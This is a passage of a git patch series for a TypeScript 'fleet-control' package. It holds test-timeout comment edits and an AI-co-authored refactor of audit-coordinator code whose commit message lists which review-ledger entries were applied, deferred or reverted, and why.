b/packages/fleet-control/test/state-store.harness.test.ts index 1cf13bf8..ce8c86df 100644 --- a/packages/fleet-control/test/state-store.harness.test.ts +++ b/packages/fleet-control/test/state-store.harness.test.ts @@ -124,10 +124,9 @@ function harnessOptions() { describe.sequential('D1FleetStateStore Wrangler harness', { // Real workerd + D1 through Wrangler: the two-pass R2 detach/deletion title // timed out at a 30 s cap inside the full package suite and has since needed - // as much as 45 s (in a six-file run with the 5-minute load average at 11.7 - // on 12 cores); 150 s keeps a 3x margin over that. The hooks below repeat - // this value because hooks take vitest's hookTimeout, not this option; every - // title inherits it. + // as much as 45.2 s in a six-file run; 150 s keeps a 3x margin over that. + // The hooks below repeat this value because hooks take vitest's hookTimeout, + // not this option; every title inherits it. timeout: 150_000, }, () => { let server: TestHarness; diff --git a/packages/fleet-control/vitest.config.ts b/packages/fleet-control/vitest.config.ts index 0aadfbcc..54f45ba4 100644 --- a/packages/fleet-control/vitest.config.ts +++ b/packages/fleet-control/vitest.config.ts @@ -13,9 +13,10 @@ export default defineConfig({ // in cross-backend-continuation.test.ts, runs about 2.8 s alone with real // scratch-directory work and timed out at 5 s only when the forks pool // shared the machine. Suites that drive real workerd set their own caps - // above this; the deliberately tight per-title caps say so where they - // stand. hookTimeout stays at vitest's 10 s: every workerd boot hook sets - // its own. + // above this; the deliberately tight per-title caps that sit below it say + // so where they stand. hookTimeout stays at vitest's 10 s: the hooks that + // boot or close workerd set their own, and the rest are per-test teardowns + // that never touch workerd. testTimeout: 20_000, }, }); From 92922dd2c6ed14baffac92caaa15e3e814344772 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 3 Sep 2026 14:30:34 +0400 Subject: [PATCH 062/169] refactor(fleet-control): apply the R4-B.2 source-side nit ledger Applies 73 of the 79 source-side entries of the R4-B.2 pending-nit ledger (rounds 1-10, `b2-nits-final.md` batches A-D) to the four coordinator and state modules. Polish only: no persisted format, digest, or public export changes. `src/index.ts` is byte-identical. Six entries do not land here: - ADV-8 and ADV-31 go whole to the N-B documentation checkpoint. Their remedies span `docs/` or `.changeset/`, and ADV-31 would change the shape of a barrel-exported function while the shipped changeset states that no existing public export changes shape. - ADV-23 and OPS-18 go whole to the R4-A/B.1 QA-confirmation checkpoint, which can edit `d1-fleet-operation-store.ts`. The other half of each defect class lives in that file, and half-fixing a class across two commits is what the whole-class rule forbids. - ADV-10 is reverted and deferred to N-B. Hoisting the per-record-to-finalize transition above the generation read made a call that could not materialize its pinned generation commit to finalize instead of failing -- an operation continuing on a generation the store can no longer produce. It also falsifies a documented universal carried verbatim in three artifacts: the cost sentence enumerates that transition as a member of its domain and then asserts every member re-reads the generation. And it collides with ADV-36, which records the same read as deliberate with a comment-only remedy. The revert restores the read to its exact position at the parent commit; the cursor checks it also hoisted stay put, since moving them back would be a further structural edit for no behaviour change. - ADV-28 is reverted as not applicable as written. Its walk threw the structure message on a non-object but returned false on a grammar failure, and `Array.prototype.every` short-circuits on the first false, so a non-object at any later index went unvisited: `[grammar-invalid, null]` reported the grammar message where the base commit and spec 6.3 both require the structure message. Neither remedy the entry offers can satisfy its own "structure before grammar" constraint. Two ledger entries were corrected before application. FLEET-17's premise that `expectedNamespaceOwners` is write-only at both call sites is false -- the bounded descriptor passes a section 6.1 prefix rebuild that `walkNamespaceClaims` reads to emit `duplicate-namespace` findings -- so it lands as documentation only. STATE-4's narrowing option does not compile: `withAuditStageOrdinal` has two in-module callers taking the full 13-step union. Where an entry offered a behaviour-changing remedy and a documentation one, the documentation one was taken: an entry that changes behaviour is not a nit. `DEPTH_BOUND` and `NODE_BOUND` are exported as `FLEET_OPERATION_DEPTH_BOUND` and `FLEET_OPERATION_NODE_BOUND` to match the module's convention; they have no importer until TEST-17 lands in N-B. Verification on this tree: package typecheck (both tsconfigs), Biome, 359 of 359 tests across eight files including the real-D1 Wrangler harness, the audit golden baseline (47 findings, 20 distinct kinds, 86 ops) and the drain baseline (53/20/5/6) both byte-matched, dependency-cruiser clean over 493 modules, and a diff-stat emptiness proof over `index.ts`, both read-only sources, all of `test/`, and the frozen baseline script. Review: four independent lanes over three rounds. Round 1 returned REVISE from all four; seven substantive findings were fixed in one cycle -- the two reverts above and five comment or port-contract over-claims, including a `commitProgress` JSDoc that described a dense-prefix guard as a total row count and a barrel-exported result arm that promised a pin release two separate awaits cannot guarantee. Round 2 returned READY from three lanes and one REVISE: the first revert had deleted, as collateral, the comment that was ADV-20's entire remedy. Round 3 restored it and re-ran the two lanes whose reviewed assumptions it touched. Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_01LTuu16bydBMiYSEAEgMWJR --- .../fleet-control/src/fleet-audit-advance.ts | 472 ++++++++++-------- .../fleet-control/src/fleet-audit-state.ts | 74 ++- .../src/fleet-operation-state.ts | 376 +++++++++----- packages/fleet-control/src/fleet.ts | 165 +++--- 4 files changed, 703 insertions(+), 384 deletions(-) diff --git a/packages/fleet-control/src/fleet-audit-advance.ts b/packages/fleet-control/src/fleet-audit-advance.ts index 52e0cc49..4f40f8c5 100644 --- a/packages/fleet-control/src/fleet-audit-advance.ts +++ b/packages/fleet-control/src/fleet-audit-advance.ts @@ -19,6 +19,7 @@ import { auditRecordStep, auditRegistrationOrphansStage, type FleetAuditExpectedBucketEntry, + type FleetAuditKnownSets, fleetAuditAuditedRecords, fleetAuditExpectedBucketsSeed, fleetAuditExpectedNamespaceIds, @@ -40,6 +41,7 @@ import { type FleetAuditStage, fleetAuditFactRowFromUnknown, fleetAuditProgressFromUnknown, + fleetAuditStageOrdinal, nextAuditStage, withAuditStageOrdinal, withheldAuditDetail, @@ -56,10 +58,12 @@ import { type FleetOperationLease, type FleetOperationRunRecord, type FleetOperationStagedRow, + FleetOperationStateError, type FleetOperationStore, type FleetOperationToken, FleetOperationTokenOperationError, fleetOperationItemsIntake, + fleetOperationOtherKindMessage, fleetOperationSafeInteger, fleetOperationStagedRowPayloadFitsEnvelope, fleetOperationTokenOf, @@ -80,8 +84,8 @@ import type { const DEFAULT_MAX_ITEMS_PER_CALL = 500; const MIN_MAX_ITEMS_PER_CALL = 1; const MAX_MAX_ITEMS_PER_CALL = 2_000; -const OTHER_OPERATION_KIND_MESSAGE = (operationId: string): string => - `fleet operation '${operationId}' belongs to the other operation kind`; +/** Fixed refusal shared by the coordinator's own count check and the intake's. */ +const RECORD_COUNT_MESSAGE = `fleet audit start accepts at most ${FLEET_OPERATION_ITEM_BOUND} records`; /** One bounded audit step: begin an operation, or continue a persisted one. */ export type FleetAuditAdvanceAction = @@ -130,16 +134,31 @@ export interface FleetAuditResultRef { /** Authoritative durable outcome after at most one bounded stage chunk. */ export type FleetAuditAdvanceResult = + /** + * The operation is still RUNNING. `stage` is the persisted stage the next + * call resumes from, and `token` carries the committed revision. + */ | Readonly<{ status: 'pending'; token: FleetOperationToken; stage: FleetAuditStage; }> + /** + * The operation is FINALIZED. `result` summarizes the frozen run; the + * findings themselves are read separately with + * `readFleetAuditFindingsPage`. + */ | Readonly<{ status: 'complete'; token: FleetOperationToken; result: FleetAuditResultRef; }> + /** + * The operation is FAILED, and the failing call released its generation pin. + * A pin that outlived a crash between the terminal commit and that release is + * cleared by `abandonFleetAuditOperation()`. `failure` carries the durable + * reason; failed operations are still readable. + */ | Readonly<{ status: 'failed'; token: FleetOperationToken; @@ -185,6 +204,14 @@ export class FleetAuditAdvanceCapabilityError extends Error { } } +/** + * Probes one injected port for the members a capability names. `target` is + * `object` rather than a port type because this coordinator gates two + * unrelated ports (the operation store and the inventory store) through the + * same table, and it is deliberately named for the audit capability set + * rather than for one store — the R3 sibling's `assertStoreCapability` gates + * a single store and keeps the narrower name. + */ function assertCapability( target: object, capability: FleetAuditAdvanceCapability, @@ -206,7 +233,9 @@ function assertMaxItemsPerCall(value: number): void { value < MIN_MAX_ITEMS_PER_CALL || value > MAX_MAX_ITEMS_PER_CALL ) { - throw new Error('maxItemsPerCall must be an integer from 1 to 2000'); + throw new Error( + `maxItemsPerCall must be an integer from ${MIN_MAX_ITEMS_PER_CALL} to ${MAX_MAX_ITEMS_PER_CALL}`, + ); } } @@ -242,6 +271,21 @@ function pinnedBy(operationId: string): string { return `fleet-audit:${operationId}`; } +/** + * The `pending` result for a run record the store has just committed. Every + * chunk that leaves the operation RUNNING reports the persisted stage read + * back through the codec, never the stage it computed. + */ +function pendingFromCommitted( + committed: FleetOperationRunRecord, +): FleetAuditAdvanceResult { + return { + status: 'pending', + token: fleetOperationTokenOf(committed), + stage: fleetAuditProgressFromUnknown(committed.progress).stage, + }; +} + type IsSubset = [Left] extends [Right] ? true : false; const DRIFT_FINDING_KINDS_ARE_AUDIT_KINDS: IsSubset< DriftFinding['kind'], @@ -251,17 +295,26 @@ const AUDIT_FINDING_KINDS_ARE_DRIFT_KINDS: IsSubset< FleetAuditFindingKind, DriftFinding['kind'] > = true; +// Both assertions are compile-time only; these module-scope references keep +// them reachable so an unused-binding cleanup cannot delete the check. +void DRIFT_FINDING_KINDS_ARE_AUDIT_KINDS; +void AUDIT_FINDING_KINDS_ARE_DRIFT_KINDS; function fleetAuditFindingKind( kind: DriftFinding['kind'], ): FleetAuditFindingKind { - void DRIFT_FINDING_KINDS_ARE_AUDIT_KINDS; - void AUDIT_FINDING_KINDS_ARE_DRIFT_KINDS; return kind; } -/** Non-throwing durable write gate (§5.1/§6.4): the bounded path gates; the drain never does. */ -function sanitizedFindingRow(finding: DriftFinding): DriftFindingRowPayload { +/** + * Non-throwing durable write gate (§5.1/§6.4): the bounded path gates; the + * drain never does. Only `detail` is gated: `tenantTag` and `environment` + * reach the row verbatim, which is the round-3 adjudication, so the name says + * gated DETAIL rather than a sanitized row. + */ +function findingRowWithGatedDetail( + finding: DriftFinding, +): DriftFindingRowPayload { const kind = fleetAuditFindingKind(finding.kind); return { tenantTag: finding.tenantTag, @@ -274,8 +327,17 @@ function sanitizedFindingRow(finding: DriftFinding): DriftFindingRowPayload { } /** - * Returns `undefined` when the payload exceeds the staged-row envelope; the - * caller then fails the operation durably. Throws `malformed()` on corruption. + * Stages one durable row, overloading two distinct signals on one return so + * every call site can treat them uniformly: + * + * - `undefined` means the payload exceeds the staged-row envelope. That is a + * caller-visible emission bound, so the site fails the operation durably + * through `failEmission`. + * - a thrown `FleetOperationStateError` means the payload does not satisfy + * the row codec at all, which is durable corruption and propagates. + * + * No site needs to tell the two apart, which is why a discriminated result + * would buy nothing here. */ function stagedAuditRow( rowKind: 'finding' | 'fact', @@ -293,9 +355,12 @@ function stagedAuditRow( return { rowKind, ordinal, - payload: validated as unknown as Record, + payload: { ...validated }, }; - } catch { + } catch (error) { + // Only a codec refusal means the payload is malformed; a programming + // fault must not be laundered into durable-corruption identity. + if (!(error instanceof FleetOperationStateError)) throw error; return malformed(); } } @@ -310,30 +375,33 @@ type GlobalAuditStage = Exclude< { step: 'per-record' | 'finalize' } >; type GlobalAuditStep = GlobalAuditStage['step']; +type PerRecordAuditStage = Extract; interface GlobalStageContext { readonly inventory: FleetResourceInventory; readonly auditedRecords: readonly FleetRecord[]; - readonly known: ReturnType; + readonly known: FleetAuditKnownSets; readonly recordsByScript: ReturnType; } +/** The one accessor for the optional R2 inventory slice. */ +function inventoryR2Buckets( + context: GlobalStageContext, +): readonly NonNullable[number][] { + return context.inventory.r2Buckets ?? []; +} + function chunked( stage: GlobalAuditStage, maxItemsPerCall: number, source: readonly T[], emit: (slice: readonly T[], ordinal: number) => readonly DriftFinding[], ): GlobalStageChunk { - const ordinal = - 'rowOrdinal' in stage - ? stage.rowOrdinal - : 'auditedOrdinal' in stage - ? stage.auditedOrdinal - : stage.expectedOrdinal; - if ( - ordinal > source.length || - (source.length > 0 && ordinal === source.length) - ) { + const ordinal = fleetAuditStageOrdinal(stage); + if (ordinal === undefined) return malformed(); + // A global stage never persists a cursor at the end of its own source, so + // the only admissible cursor for an empty source is zero. + if (source.length === 0 ? ordinal > 0 : ordinal >= source.length) { return malformed(); } const slice = source.slice(ordinal, ordinal + maxItemsPerCall); @@ -347,13 +415,11 @@ function chunked( }; } -interface GlobalStageDescriptor { - readonly advance: ( - stage: GlobalAuditStage, - maxItemsPerCall: number, - context: GlobalStageContext, - ) => GlobalStageChunk; -} +type GlobalStageDescriptor = ( + stage: GlobalAuditStage, + maxItemsPerCall: number, + context: GlobalStageContext, +) => GlobalStageChunk; function globalStageDescriptor( source: (context: GlobalStageContext) => readonly T[], @@ -363,12 +429,10 @@ function globalStageDescriptor( ordinal: number, ) => readonly DriftFinding[], ): GlobalStageDescriptor { - return { - advance: (stage, maxItemsPerCall, context) => - chunked(stage, maxItemsPerCall, source(context), (slice, ordinal) => - emit(slice, context, ordinal), - ), - }; + return (stage, maxItemsPerCall, context) => + chunked(stage, maxItemsPerCall, source(context), (slice, ordinal) => + emit(slice, context, ordinal), + ); } const GLOBAL_STAGE_DESCRIPTORS = Object.freeze({ @@ -457,7 +521,7 @@ const GLOBAL_STAGE_DESCRIPTORS = Object.freeze({ }), ), 'r2-orphans': globalStageDescriptor( - (context) => context.inventory.r2Buckets ?? [], + (context) => inventoryR2Buckets(context), (slice, context) => auditR2OrphansStage({ r2Buckets: slice, @@ -472,7 +536,7 @@ const GLOBAL_STAGE_DESCRIPTORS = Object.freeze({ (slice, context) => auditR2MissingIdentityStage({ expectedBucketEntries: slice, - r2Buckets: context.inventory.r2Buckets ?? [], + r2Buckets: inventoryR2Buckets(context), }), ), } satisfies Readonly>); @@ -481,17 +545,9 @@ const GLOBAL_STAGE_DESCRIPTORS = Object.freeze({ function advanceGlobalStage( stage: GlobalAuditStage, maxItemsPerCall: number, - inventory: FleetResourceInventory, - auditedRecords: readonly FleetRecord[], - known: ReturnType, - recordsByScript: ReturnType, + context: GlobalStageContext, ): GlobalStageChunk { - return GLOBAL_STAGE_DESCRIPTORS[stage.step].advance(stage, maxItemsPerCall, { - inventory, - auditedRecords, - known, - recordsByScript, - }); + return GLOBAL_STAGE_DESCRIPTORS[stage.step](stage, maxItemsPerCall, context); } function buildInitialAuditRunRecord( @@ -557,6 +613,48 @@ async function failAudit( }); } +/** The one durable `emission-bound-exceeded` refusal every staging site takes. */ +function failEmission( + options: AdvanceFleetAuditOptions, + lease: FleetOperationLease, + run: FleetOperationRunRecord, + progress: FleetAuditProgress, + itemOrdinal?: number, +): Promise { + return failAudit(options, lease, run, progress, { + reason: 'emission-bound-exceeded', + ...(itemOrdinal === undefined ? {} : { itemOrdinal }), + }); +} + +/** Every owner claim the record step added, in map order. */ +function* ownedFactPayloads( + factKind: 'database-owner' | 'namespace-owner', + owners: ReadonlyMap, + before: ReadonlySet, +): Generator { + for (const [key, owner] of owners) { + if (before.has(key)) continue; + yield { + factKind, + key, + tenantTag: owner.tenantTag, + environment: owner.environment, + }; + } +} + +/** Every duplicate-namespace collision the record step added, in set order. */ +function* duplicateNamespaceFactPayloads( + keys: ReadonlySet, + before: ReadonlySet, +): Generator { + for (const key of keys) { + if (before.has(key)) continue; + yield { factKind: 'duplicate-namespace', key }; + } +} + async function finalizeAudit( lease: FleetOperationLease, run: FleetOperationRunRecord, @@ -589,37 +687,11 @@ async function advancePerRecordChunk( lease: FleetOperationLease, run: FleetOperationRunRecord, progress: FleetAuditProgress, + stage: PerRecordAuditStage, inventory: FleetResourceInventory, records: readonly FleetRecord[], auditedRecords: readonly FleetRecord[], ): Promise { - const stage = progress.stage as Extract< - FleetAuditStage, - { step: 'per-record' } - >; - if (stage.recordOrdinal > records.length) return malformed(); - if (stage.recordOrdinal === records.length) { - const newProgress: FleetAuditProgress = { - ...progress, - revision: progress.revision + 1, - stage: nextAuditStage(stage, true), - }; - const committed = await lease.commitProgress({ - operationId: run.operationId, - expectedRevision: progress.revision, - runRecord: { - ...run, - progress: newProgress, - updatedAt: new Date().toISOString(), - }, - }); - const committedProgress = fleetAuditProgressFromUnknown(committed.progress); - return { - status: 'pending', - token: fleetOperationTokenOf(committed), - stage: committedProgress.stage, - }; - } const record = records[stage.recordOrdinal] as FleetRecord; const recordsByScript = fleetAuditRecordsByScript(auditedRecords); const liveByScript = fleetAuditLiveByScript(inventory.deployments); @@ -641,6 +713,16 @@ async function advancePerRecordChunk( const duplicateNamespaceIds = new Set( fleetAuditRecordsDerivedDuplicateNamespaceIds(auditedRecords), ); + // A staged owner fact whose (tenantTag, environment) pair resolves to no + // record row is dropped rather than refused. Unreachability is the WHOLE + // safety argument: every owner fact this coordinator writes names a record + // it staged in the same operation, and both row sets are read back in full + // and contiguity-checked before this loop. Were it reachable it would + // SUPPRESS findings, not add them — a missing claimant leaves the database + // or namespace looking unclaimed, so `auditRecordStep` takes this record as + // the first owner and emits no duplicate finding. `malformed()` on the miss + // is the stricter alternative and was left out as a behavior change on a + // converged checkpoint. for (const fact of facts) { if (fact.factKind === 'database-owner') { const owner = recordByKey.get(`${fact.tenantTag}:${fact.environment}`); @@ -656,7 +738,7 @@ async function advancePerRecordChunk( const namespaceOwnersBefore = new Set(liveNamespaceOwners.keys()); const duplicatesBefore = new Set(duplicateNamespaceIds); - if (options.signal?.aborted) options.signal.throwIfAborted(); + options.signal?.throwIfAborted(); const result = await auditRecordStep({ record, recordsByScript, @@ -673,59 +755,27 @@ async function advancePerRecordChunk( store: options.fleetStore, staleAfterMs: progress.staleAfterMs, auditNow: progress.auditTimeMs, - authorityNowProvider: options.authorityClock ?? (() => Date.now()), + authorityNowProvider: options.authorityClock ?? Date.now, }); + // The three fact kinds differ only in their source collection and payload + // shape, so each yields its newly claimed payloads and one loop stages them. + const newFactPayloads: readonly Iterable[] = [ + ownedFactPayloads('database-owner', databases, databasesBefore), + ownedFactPayloads( + 'namespace-owner', + liveNamespaceOwners, + namespaceOwnersBefore, + ), + duplicateNamespaceFactPayloads(duplicateNamespaceIds, duplicatesBefore), + ]; const newFacts: FleetOperationStagedRow[] = []; let factOrdinal = progress.factCount; - for (const [key, owner] of databases) { - if (!databasesBefore.has(key)) { - const payload: FleetAuditFactPayload = { - factKind: 'database-owner', - key, - tenantTag: owner.tenantTag, - environment: owner.environment, - }; - const row = stagedAuditRow('fact', factOrdinal++, payload); - if (!row) { - return failAudit(options, lease, run, progress, { - reason: 'emission-bound-exceeded', - itemOrdinal: stage.recordOrdinal, - }); - } - newFacts.push(row); - } - } - for (const [key, owner] of liveNamespaceOwners) { - if (!namespaceOwnersBefore.has(key)) { - const payload: FleetAuditFactPayload = { - factKind: 'namespace-owner', - key, - tenantTag: owner.tenantTag, - environment: owner.environment, - }; - const row = stagedAuditRow('fact', factOrdinal++, payload); - if (!row) { - return failAudit(options, lease, run, progress, { - reason: 'emission-bound-exceeded', - itemOrdinal: stage.recordOrdinal, - }); - } - newFacts.push(row); - } - } - for (const key of duplicateNamespaceIds) { - if (!duplicatesBefore.has(key)) { - const payload: FleetAuditFactPayload = { - factKind: 'duplicate-namespace', - key, - }; + for (const payloads of newFactPayloads) { + for (const payload of payloads) { const row = stagedAuditRow('fact', factOrdinal++, payload); if (!row) { - return failAudit(options, lease, run, progress, { - reason: 'emission-bound-exceeded', - itemOrdinal: stage.recordOrdinal, - }); + return failEmission(options, lease, run, progress, stage.recordOrdinal); } newFacts.push(row); } @@ -736,15 +786,16 @@ async function advancePerRecordChunk( const row = stagedAuditRow( 'finding', progress.findingCount + index, - sanitizedFindingRow(finding), + findingRowWithGatedDetail(finding), ); if (!row) { - // Unreachable: sanitizedFindingRow caps every detail at 4 KiB and strips - // controls before measurement, while record identifiers are grammar-bounded. - return failAudit(options, lease, run, progress, { - reason: 'emission-bound-exceeded', - itemOrdinal: stage.recordOrdinal, - }); + // Unreachable: the gate never shortens a detail, it SUBSTITUTES the + // fixed withheld fallback whenever `isDurableAuditDetailSafe` rejects + // one — which includes every detail over the 4 KiB string bound. What + // reaches the row is therefore either an already-bounded detail or a + // short fixed string, beside grammar-bounded identifiers, so the + // composed payload cannot exceed the staged-row envelope. + return failEmission(options, lease, run, progress, stage.recordOrdinal); } findingRows.push(row); } @@ -755,10 +806,7 @@ async function advancePerRecordChunk( findingRows.length + newFacts.length + 1 > FLEET_OPERATION_STAGE_BATCH_STATEMENTS ) { - return failAudit(options, lease, run, progress, { - reason: 'emission-bound-exceeded', - itemOrdinal: stage.recordOrdinal, - }); + return failEmission(options, lease, run, progress, stage.recordOrdinal); } const newProgress: FleetAuditProgress = { @@ -782,12 +830,7 @@ async function advancePerRecordChunk( fact: newProgress.factCount, }, }); - const committedProgress = fleetAuditProgressFromUnknown(committed.progress); - return { - status: 'pending', - token: fleetOperationTokenOf(committed), - stage: committedProgress.stage, - }; + return pendingFromCommitted(committed); } async function advanceOneChunk( @@ -826,6 +869,32 @@ async function advanceOneChunk( } catch { return malformed(); } + if (progress.stage.step === 'per-record') { + const perRecordStage = progress.stage; + if (perRecordStage.recordOrdinal > records.length) return malformed(); + if (perRecordStage.recordOrdinal === records.length) { + // Unlike a global stage, `per-record` does persist a cursor equal to its + // source length and spends a whole extra stage-running call — a full + // generation re-read and a record-row re-page included — on the pure + // transition to `finalize`. That is deliberate: the call is the leading 1 + // in the documented per-call cost formula. + const newProgress: FleetAuditProgress = { + ...progress, + revision: progress.revision + 1, + stage: nextAuditStage(perRecordStage, true), + }; + const committed = await lease.commitProgress({ + operationId: run.operationId, + expectedRevision: progress.revision, + runRecord: { + ...run, + progress: newProgress, + updatedAt: new Date().toISOString(), + }, + }); + return pendingFromCommitted(committed); + } + } const auditedRecords = fleetAuditAuditedRecords(records); if (progress.stage.step === 'per-record') { @@ -834,35 +903,31 @@ async function advanceOneChunk( lease, run, progress, + progress.stage, inventory, records, auditedRecords, ); } - const known = fleetAuditKnownSets(records); - const recordsByScript = fleetAuditRecordsByScript(auditedRecords); - const chunk = advanceGlobalStage( - progress.stage, - maxItemsPerCall, + const chunk = advanceGlobalStage(progress.stage, maxItemsPerCall, { inventory, auditedRecords, - known, - recordsByScript, - ); + known: fleetAuditKnownSets(records), + recordsByScript: fleetAuditRecordsByScript(auditedRecords), + }); const findingRows: FleetOperationStagedRow[] = []; for (const [index, finding] of chunk.findings.entries()) { const row = stagedAuditRow( 'finding', progress.findingCount + index, - sanitizedFindingRow(finding), + findingRowWithGatedDetail(finding), ); if (!row) { // A global finding ordinal can exceed FLEET_OPERATION_ITEM_BOUND, which - // fleetOperationFailureFromUnknown rejects as an itemOrdinal. - return failAudit(options, lease, run, progress, { - reason: 'emission-bound-exceeded', - }); + // fleetOperationFailureFromUnknown rejects as an itemOrdinal, so this + // failure carries no ordinal. + return failEmission(options, lease, run, progress); } findingRows.push(row); } @@ -888,12 +953,7 @@ async function advanceOneChunk( }, expectedRowWatermarks: { finding: newFindingCount }, }); - const committedProgress = fleetAuditProgressFromUnknown(committed.progress); - return { - status: 'pending', - token: fleetOperationTokenOf(committed), - stage: committedProgress.stage, - }; + return pendingFromCommitted(committed); } async function startAudit( @@ -915,9 +975,7 @@ async function startAudit( } const inputRecords = action.records; if (inputRecords.length > FLEET_OPERATION_ITEM_BOUND) { - throw new Error( - `fleet audit start accepts at most ${FLEET_OPERATION_ITEM_BOUND} records`, - ); + throw new Error(RECORD_COUNT_MESSAGE); } if ( inputRecords.some((record) => record === null || typeof record !== 'object') @@ -936,11 +994,9 @@ async function startAudit( const { reason } = intake; switch (reason) { case 'item-count': - // The coordinator count check precedes the grammar check, so this arm - // is unreachable here; the helper retains it for other callers. - throw new Error( - `fleet audit start accepts at most ${FLEET_OPERATION_ITEM_BOUND} records`, - ); + // The coordinator count check precedes the intake, so this arm is + // unreachable here; the helper retains it for other callers. + throw new Error(RECORD_COUNT_MESSAGE); case 'item-structure': throw new Error( 'fleet audit record exceeds the intake structure bounds', @@ -953,12 +1009,20 @@ async function startAudit( ); default: { const exhaustive: never = reason; - return exhaustive; + // A widened refusal union must fail closed here rather than let a + // bare string escape as this function's result. + throw new Error( + `unexpected fleet operation intake refusal '${String(exhaustive)}'`, + ); } } } const intakeDigest = intake.digest; const records = intake.items; + // Narrows `unknown` intake items to `FleetRecord` on `tenantTag` and + // `environment` alone, so the array asserts more shape than is checked. + // Every entry is staged whole by the `payload` cast below, and fields + // beyond those two are re-read only by the `advanceOneChunk` decode. if ( !records.every((record): record is FleetRecord => { if (record === null || typeof record !== 'object') return false; @@ -984,7 +1048,7 @@ async function startAudit( let generation: number; if (probed) { if (probed.kind !== 'audit') { - throw new Error(OTHER_OPERATION_KIND_MESSAGE(operationId)); + throw new Error(fleetOperationOtherKindMessage(operationId)); } generation = fleetAuditProgressFromUnknown(probed.progress).generation; } else { @@ -1055,8 +1119,7 @@ async function startAudit( rows, }); const committedProgress: FleetAuditProgress = { - ...fleetAuditProgressFromUnknown(record.progress), - generation: pinGenerationValue, + ...recordProgress, revision: 1, }; try { @@ -1070,16 +1133,17 @@ async function startAudit( }, expectedRowWatermarks: { record: records.length }, }); - const finalProgress = fleetAuditProgressFromUnknown(committed.progress); - return { - status: 'pending', - token: fleetOperationTokenOf(committed), - stage: finalProgress.stage, - }; + return pendingFromCommitted(committed); } catch { - // A far-advanced running (or since-terminal) operation: the revision-1 - // replay cannot converge, so the caller receives the current - // authoritative state exactly as a stale-token continue would (§5.5). + // Every throw from the revision-1 replay resolves to the same answer, + // and the catch is deliberately unnarrowed for that reason: for a + // far-advanced running (or since-terminal) operation the CAS cannot + // converge, and for a lost lease or a store fault the operation's + // current authoritative state is still the only truthful reply. The + // caller therefore receives exactly what a stale-token continue would + // return (§5.5) — which is a report of durable state, never a claim + // that this call succeeded. If no state can be read back at all, the + // reads below throw rather than invent one. const current = await lease.readOperation(operationId); if (current) return resultFromRun(current); const persisted = @@ -1140,20 +1204,35 @@ export async function advanceFleetAudit( options.signal?.throwIfAborted(); const maxItemsPerCall = options.maxItemsPerCall ?? DEFAULT_MAX_ITEMS_PER_CALL; assertMaxItemsPerCall(maxItemsPerCall); - if (options.action.kind === 'start') { - return startAudit(options, options.action); + const action = options.action; + if (action.kind === 'start') { + return startAudit(options, action); } - return continueAudit(options, options.action.token, maxItemsPerCall); + return continueAudit(options, action.token, maxItemsPerCall); } /** * Reads one page of an operation's parsed drift findings. Terminal-only * (failed operations included); never touches the inventory store. The * findings come back in ordinal order whatever order the store's page - * arrived in (the port lets a page arrive unordered). Finding ordinals are - * contiguous from zero and a page holds the smallest qualifying ordinals, - * so a caller pages the whole set with - * `afterOrdinal = (afterOrdinal ?? -1) + findings.length` until `done`. + * arrived in (the port lets a page arrive unordered). + * + * A caller pages the whole set with + * `afterOrdinal = (afterOrdinal ?? -1) + findings.length` until `done`. That + * idiom rests on the assumption `FleetOperationStore.readOperationRowsPage` + * states as a conformance requirement: finding ordinals are contiguous from + * zero, and a page holds the smallest qualifying ordinals. This reader + * checks the assumption instead of trusting it, so a non-conforming store + * cannot spin the loop forever. + * + * Refuses an unknown operation with `FleetOperationTokenOperationError`, an + * operation of the other kind and a still-running operation with fixed + * messages, and a non-conforming page — empty while unfinished, or not the + * contiguous ordinal run following the cursor — with `malformed()`. `limit` + * is deliberately NOT range-checked here: it is forwarded to the store, whose + * own read guard owns that range. `maxItemsPerCall` is validated in this + * module by contrast, because it drives this module's own chunking rather + * than a store call. */ export async function readFleetAuditFindingsPage( store: FleetOperationStore, @@ -1169,7 +1248,7 @@ export async function readFleetAuditFindingsPage( throw new FleetOperationTokenOperationError(operationId); } if (run.kind !== 'audit') { - throw new Error(OTHER_OPERATION_KIND_MESSAGE(operationId)); + throw new Error(fleetOperationOtherKindMessage(operationId)); } if (run.state === 'running') { throw new Error(`fleet audit operation '${operationId}' is not terminal`); @@ -1180,13 +1259,16 @@ export async function readFleetAuditFindingsPage( limit, ...(afterOrdinal === undefined ? {} : { afterOrdinal }), }); + if (page.rows.length === 0 && !page.done) return malformed(); + const sortedRows = [...page.rows].sort( + (left, right) => left.ordinal - right.ordinal, + ); + const firstOrdinal = (afterOrdinal ?? -1) + 1; + for (const [index, row] of sortedRows.entries()) { + if (row.ordinal !== firstOrdinal + index) return malformed(); + } return { - findings: [...page.rows] - .sort((left, right) => left.ordinal - right.ordinal) - .map( - (row) => - driftFindingRowFromUnknown(row.payload) as unknown as DriftFinding, - ), + findings: sortedRows.map((row) => driftFindingRowFromUnknown(row.payload)), done: page.done, }; } @@ -1207,7 +1289,7 @@ export async function abandonFleetAuditOperation( const run = await lease.readOperation(operationId); if (run && run.state === 'running') { if (run.kind !== 'audit') { - throw new Error(OTHER_OPERATION_KIND_MESSAGE(operationId)); + throw new Error(fleetOperationOtherKindMessage(operationId)); } const progress = fleetAuditProgressFromUnknown(run.progress); const newProgress: FleetAuditProgress = { @@ -1237,7 +1319,7 @@ export async function abandonFleetAuditOperation( throw new FleetOperationTokenOperationError(operationId); } if (persisted.kind !== 'audit') { - throw new Error(OTHER_OPERATION_KIND_MESSAGE(operationId)); + throw new Error(fleetOperationOtherKindMessage(operationId)); } const progress = fleetAuditProgressFromUnknown(persisted.progress); await inventoryStore.releasePin({ diff --git a/packages/fleet-control/src/fleet-audit-state.ts b/packages/fleet-control/src/fleet-audit-state.ts index c27c70af..1157fc2a 100644 --- a/packages/fleet-control/src/fleet-audit-state.ts +++ b/packages/fleet-control/src/fleet-audit-state.ts @@ -16,6 +16,7 @@ import { fleetOperationSafeInteger, fleetOperationTextHasControlBytes, malformed, + utf8Length, } from './fleet-operation-state.js'; export type FleetAuditStage = @@ -63,7 +64,11 @@ const STAGE_ORDINAL = Object.freeze({ 'r2-missing-identity': 'expectedOrdinal', 'per-record': 'recordOrdinal', finalize: undefined, -} satisfies Readonly>); +} satisfies Readonly<{ + [K in FleetAuditStage['step']]: + | Exclude, 'step'> + | undefined; +}>); export const FLEET_AUDIT_FINDING_KINDS = Object.freeze([ 'missing-deployment', @@ -130,16 